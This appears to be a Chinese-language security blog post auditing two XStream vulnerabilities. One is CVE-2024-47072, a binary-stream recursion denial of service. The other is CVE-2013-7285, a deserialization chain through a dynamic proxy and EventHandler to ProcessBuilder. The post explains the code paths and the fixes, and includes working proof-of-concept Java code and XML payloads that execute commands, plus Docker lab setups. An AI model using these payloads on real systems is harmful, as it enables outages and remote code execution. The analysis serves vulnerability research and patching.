当前位置: 首页 > news >正文

Xstream历史漏洞审计

审计过程

首先了解Token,这是Xstream自己定义的黑话

  • TYPE_START_NODE = 3:开始标签。相当于 XML 里的<name>
  • TYPE_END_NODE = 4:结束标签。相当于 XML 里的</name>
  • TYPE_ATTRIBUTE = 5:属性。相当于 XML 里的id="123"
  • TYPE_VALUE = 6:文本值。相当于标签里的具体内容,比如test_user
  • TYPE_MAP_ID_TO_VALUE = 2:存字典指令,告诉程序先记下一个 ID 和字符串的对应关系,方便后面简写。

问题出在readToken()函数里被选中的两行中,


当token为2的时候程序默认要存入一个字典,进入分支之后开始取ID取value


当攻击者传入如下数据时,10为2+8得来,2代表要存入字典、8代表ID占一个字节、-127为随意取值,0,0代表存入的内容是空的。


当程序执行完存入字典的流程后,函数继续调用自身return this.readToken();但上一个流程还没关闭,也就导致了无限递归。

ii. Commit Diff


开发者修复方式是在此处添加了一个do While循环,利用 continue解决了递归问题,同时在下面添加了mapping = !mapping;的翻转,规避掉了连续两次存入字典的情况。

iii. POC
官方POC

已验证POC
package org.example; import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.binary.BinaryStreamDriver; import java.io.ByteArrayInputStream; public class Exploit { public static void main(String[] args) { System.out.println("[*] 正在构造恶意二进制流..."); // 构造特定的字节数组,诱导 BinaryStreamDriver 进入无限递归 final byte[] byteArray = new byte[40000]; for (int i = 0; i < byteArray.length / 4; i++) { byteArray[i * 4] = 10; byteArray[i * 4 + 1] = -127; byteArray[i * 4 + 2] = 0; byteArray[i * 4 + 3] = 0; } try { XStream xstream = new XStream(new BinaryStreamDriver()); System.out.println("[*] 开始反序列化..."); xstream.fromXML(new ByteArrayInputStream(byteArray)); } catch (StackOverflowError e) { System.err.println("\n[!] 成功触发漏洞"); } catch (Exception e) { e.printStackTrace(); } } }

iiii. 漏洞环境
FROM maven:3.8-openjdk-11-slim AS build WORKDIR /app COPY pom.xml . RUN mvn dependency:go-offline COPY src/main/java/org/example/Exploit.java /app/src/main/java/Exploit.java RUN mvn compile -Dmaven.compiler.source=11 -Dmaven.compiler.target=11 CMD ["mvn", "exec:java", "-Dexec.mainClass=org.example.Exploit"]
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0"> <modelVersion>4.0.0</modelVersion> <groupId>com.poc</groupId> <artifactId>xstream-dos-reproduction</artifactId> <version>1.0</version> <dependencies> <dependency> <groupId>com.thoughtworks.xstream</groupId> <artifactId>xstream</artifactId> <version>1.4.20</version> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>exec-maven-plugin</artifactId> <version>3.1.0</version> </plugin> </plugins> </build> </project>


docker build -t xstream-cve-2024-47072 .
docker run --rm xstream-cve-2024-47072

CVE-2013-7285 反序列化

i. 审计过程

根据POC逆推,这个洞可以看标签推出来。首先sorted-set可以在Xstream.java中看到this.alias("sorted-set", SortedSet.class);可知sorted-set对应SortedSet


跟进可以看到这个SortedSet是个接口并无构造方法,于是找默认实现类
在Xstream.java中的setupDefaultImplementations方法中可以看到SortedSet的默认实现类是TreeSet,于是跟进TreeSet(注意此处内存中就已经是一个TreeSet实例了)


发现这里也是接口,但没断掉,因为下面有个this(new TreeMap<>()),当Xstream检测到TreeMap已经被创建好了就回去使用CollectionConverter.class中的populateCollection函数解析XML标签。



看下调用堆栈


继续往下走发现走到了重载的方法里

于是就又是moveDown()moveUp
其中moveDown()是为了跳进XML下一层节点
跟进addCurrentElementToCollection


target.add(item);中的target就是之前new的那个TreeMap,而此处的item就是POC中的第二个节点,也就是动态代理


但是调试信息中显示item是touch,这就是一个问题所在。
看一下调用堆栈


发现touch在最底下,在target.add(item)处打个断点就可以看到item变了


跟踪调试就能发现程序是通过populateCollection函数中的while去把栈里的元素挨个轮一遍,最后item归到的就是动态代理。


当item归到动态代理之后,由于之前说过创建的是TreeSet实例,所以会跳到下图中的add方法,里面的e就是item,也就是刚才的动态代理


再跟进put方法


里面有compare,再跟会发现里面有compareTo
这个时候问题就来了,compareTo里面的K就是动态代理,它向程序声明自己有compareTo方法,但实际上它将程序动态代理至EventHandler,而EventHandler本身不会在意动态代理转过来的参数,它只在乎自己收到了invoke请求,然后去执行攻击者所写的代码:ProcessBuilder.start()。这就是完整的链子。

ii. Commit Diff
第一步、基础安全框架


虽然还是默认允许any但是用户和开发者可以通过securityMapper添加黑名单类


看一下securityMapper,貌似是白名单


但实际上在Xstream.java里面已经开完权限了,所以还是黑名单.

第二步、拦截动态代理

官方第二步的修复方法是把java.beans.EventHandler加了黑名单并且给开发者提供了denyTypes,例如调用xstream.denyTypes(new String[]{"java.beans.EventHandler"})时先允许any后封禁EventHandler

https://github.com/x-stream/xstream/commit/6344867dce6767af7d0fe34fb393271a6456672d

iii. POC
官方POC
<contact class='dynamic-proxy'> <interface>org.company.model.Contact</interface> <handler class='java.beans.EventHandler'> <target class='java.lang.ProcessBuilder'> <command> <string>calc.exe</string> </command> </target> <action>start</action> </handler> </contact> XStream xstream = new XStream(); Contact contact = (Contact)xstream.fromXML(xml);
已验证POC
import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.security.AnyTypePermission; import java.io.File; public class CVE_2013_7285_POC { public static void main(String[] args) { XStream xstream = new XStream(); xstream.addPermission(AnyTypePermission.ANY); String xml = "<sorted-set>\n" + " <dynamic-proxy>\n" + " <interface>java.lang.Comparable</interface>\n" + " <handler class=\"java.beans.EventHandler\">\n" + " <target class=\"java.lang.ProcessBuilder\">\n" + " <command>\n" + " <string>touch</string>\n" + " <string>/tmp/cve-2013-7285-pwned.txt</string>\n" + " </command>\n" + " </target>\n" + " <action>start</action>\n" + " </handler>\n" + " </dynamic-proxy>\n" + "</sorted-set>"; System.out.println("[*] 正在加载 CVE-2013-7285 Payload..."); try { xstream.fromXML(xml); System.out.println("[+] Payload 执行完成"); } catch (Exception e) { System.err.println("[!] 异常信息: " + e.getMessage()); } // 验证文件是否创建 File f = new File("/tmp/cve-2013-7285-pwned.txt"); if (f.exists()) { System.out.println("[✓] 漏洞利用成功!文件已创建"); } else { System.out.println("[✗] 漏洞利用失败,文件未创建"); } }}
iiii. 漏洞环境
<dependencies> <dependency> <groupId>com.thoughtworks.xstream</groupId> <artifactId>xstream</artifactId> <version>1.4.17</version> </dependency> <dependency> <groupId>xmlpull</groupId> <artifactId>xmlpull</artifactId> <version>1.1.3.1</version> </dependency> <dependency> <groupId>xpp3</groupId> <artifactId>xpp3_min</artifactId> <version>1.1.4c</version> </dependency> </dependencies>
FROM eclipse-temurin:8-jdk WORKDIR /app ADD https://repo1.maven.org/maven2/com/thoughtworks/xstream/xstream/1.4.17/xstream-1.4.17.jar /app/xstream.jar ADD https://repo1.maven.org/maven2/xmlpull/xmlpull/1.1.3.1/xmlpull-1.1.3.1.
http://www.jsqmd.com/news/562570/

相关文章:

  • StarRailAssistant:崩坏星穹铁道自动化终极解决方案,如何用开源脚本解放双手?
  • thermalmonitordDisabler:突破iOS性能枷锁的终极方案——彻底解决过热降频问题指南
  • Faur嵌入式游戏框架:轻量C状态机驱动跨平台2D开发
  • 年度定方向,季度做取舍,月度校偏差,周度抓闭环
  • Jimeng LoRA企业落地案例:设计公司LoRA训练-测试-选型一体化流程
  • STM32 AFIO时钟开启时机与复用功能解析
  • 嵌入式系统协议兼容性设计与Protobuf实践
  • RT-Thread死锁排查指南:从症状定位到修复的完整流程(附常见错误案例)
  • 别再对着blob:链接发愁了!用浏览器开发者工具+ffmpeg,5分钟搞定网页视频下载
  • LPC1768裸机LED二进制计数器实现
  • 【刚性 PINN 与时间自适应策略】第三章:时间自适应配点技术
  • 深入剖析PHP 7.4.21开发服务器源码泄露漏洞及其复现过程
  • Mojo调用Python生态的7种方式,第4种连PyTorch官方文档都没写!——混合编程兼容性白皮书首发
  • 西门子1200水处理程序全解析
  • 二进制补丁技术革新:bsdiff/bspatch如何重塑软件更新生态
  • 如何优雅绕过付费墙:Bypass Paywalls Clean技术解析
  • Unsloth实战:DeepSeek-R1模型高效微调完整步骤解析
  • T-S推理在智能控制系统中的实战解析与MATLAB实现
  • 饭教程!在 Linux 环境下快速完成安装、初始化与 Web UI 配置
  • 人工智能|大模型——应用——降低OpenClaw Token成本的四大策略
  • 基于MATLAB的单机无穷大系统的暂态稳定性系统设计 本设计包括设计报告,仿真工程
  • 英雄联盟段位修改终极指南:轻松打造个性化游戏界面
  • Asian Beauty Z-Image Turbo 效果对比:不同采样器与步数下的图像质量分析
  • 如何快速上手TegraRcmGUI:Switch破解注入完整指南
  • 脑电信号分类避坑指南:为什么你的CNN模型准确率上不去?
  • RDA5807M FM收音芯片驱动开发与硬件接口设计
  • 如何通过辅助排序损失优化推荐模型在稀疏反馈场景下的性能(KDD‘2024)
  • 解锁LoRa远距离通信:Heltec ESP32 LoRa v3的高效实战指南
  • 佳贝思锂电池专用上位机软件|兼容博强BMS保护板(适配圣阳、双登、汇龙、拓邦、海四达等品牌电池)
  • TCP/IP协议与Socket编程核心技术解析